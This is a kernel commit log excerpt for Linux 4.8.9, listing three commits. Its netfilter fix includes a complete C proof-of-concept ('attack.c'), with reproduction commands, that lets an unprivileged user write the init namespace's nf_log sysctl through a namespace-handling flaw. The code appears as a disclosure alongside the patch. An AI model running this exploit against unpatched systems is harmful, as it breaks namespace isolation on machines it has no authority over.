1. 21 Nov, 2016 37 commits
  2. 18 Nov, 2016 3 commits
    • Greg Kroah-Hartman's avatar
      Linux 4.8.9 · 87657732
      Greg Kroah-Hartman authored
      87657732
    • Jann Horn's avatar
      netfilter: fix namespace handling in nf_log_proc_dostring · 07d00beb
      Jann Horn authored
      commit dbb5918c upstream.
      
      nf_log_proc_dostring() used current's network namespace instead of the one
      corresponding to the sysctl file the write was performed on. Because the
      permission check happens at open time and the nf_log files in namespaces
      are accessible for the namespace owner, this can be abused by an
      unprivileged user to effectively write to the init namespace's nf_log
      sysctls.
      
      Stash the "struct net *" in extra2 - data and extra1 are already used.
      
      Repro code:
      
      #define _GNU_SOURCE
      #include <stdlib.h>
      #include <sched.h>
      #include <err.h>
      #include <sys/mount.h>
      #include <sys/types.h>
      #include <sys/wait.h>
      #include <fcntl.h>
      #include <unistd.h>
      #include <string.h>
      #include <stdio.h>
      
      char child_stack[1000000];
      
      uid_t outer_uid;
      gid_t outer_gid;
      int stolen_fd = -1;
      
      void writefile(char *path, char *buf) {
              int fd = open(path, O_WRONLY);
              if (fd == -1)
                      err(1, "unable to open thing");
              if (write(fd, buf, strlen(buf)) != strlen(buf))
                      err(1, "unable to write thing");
              close(fd);
      }
      
      int child_fn(void *p_) {
              if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC,
                        NULL))
                      err(1, "mount");
      
              /* Yes, we need to set the maps for the net sysctls to recognize us
               * as namespace root.
               */
              char buf[1000];
              sprintf(buf, "0 %d 1\n", (int)outer_uid);
              writefile("/proc/1/uid_map", buf);
              writefile("/proc/1/setgroups", "deny");
              sprintf(buf, "0 %d 1\n", (int)outer_gid);
              writefile("/proc/1/gid_map", buf);
      
              stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY);
              if (stolen_fd == -1)
                      err(1, "open nf_log");
              return 0;
      }
      
      int main(void) {
              outer_uid = getuid();
              outer_gid = getgid();
      
              int child = clone(child_fn, child_stack + sizeof(child_stack),
                                CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID
                                |CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL);
              if (child == -1)
                      err(1, "clone");
              int status;
              if (wait(&status) != child)
                      err(1, "wait");
              if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
                      errx(1, "child exit status bad");
      
              char *data = "NONE";
              if (write(stolen_fd, data, strlen(data)) != strlen(data))
                      err(1, "write");
              return 0;
      }
      
      Repro:
      
      $ gcc -Wall -o attack attack.c -std=gnu99
      $ cat /proc/sys/net/netfilter/nf_log/2
      nf_log_ipv4
      $ ./attack
      $ cat /proc/sys/net/netfilter/nf_log/2
      NONE
      
      Because this looks like an issue with very low severity, I'm sending it to
      the public list directly.
      Signed-off-by: default avatarJann Horn <jann@thejh.net>
      Signed-off-by: default avatarPablo Neira Ayuso <pablo@netfilter.org>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      07d00beb
    • Imre Deak's avatar
      drm/i915: Fix mismatched INIT power domain disabling during suspend · 8ef009e0
      Imre Deak authored
      commit fd58753e upstream.
      
      Currently the display INIT power domain disabling/enabling happens in a
      mismatched way in the suspend/resume_early hooks respectively. This can
      leave display power wells incorrectly disabled in the resume hook if the
      suspend sequence is aborted for some reason resulting in the
      suspend/resume hooks getting called but the suspend_late/resume_early
      hooks being skipped. In particular this change fixes "Unclaimed read
      from register 0x1e1204" on BYT/BSW triggered from i915_drm_resume()->
      intel_pps_unlock_regs_wa() when suspending with /sys/power/pm_test set
      to devices.
      
      Fixes: 85e90679 ("drm/i915: disable power wells on suspend")
      Cc: Ville Syrjälä <ville.syrjala@linux.intel.com>
      Cc: David Weinehall <david.weinehall@intel.com>
      Signed-off-by: default avatarImre Deak <imre.deak@intel.com>
      Reviewed-by: default avatarVille Syrjälä <ville.syrjala@linux.intel.com>
      Link: http://patchwork.freedesktop.org/patch/msgid/1476358446-11621-1-git-send-email-imre.deak@intel.com
      (cherry picked from commit 4c494a57)
      Signed-off-by: default avatarJani Nikula <jani.nikula@intel.com>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      8ef009e0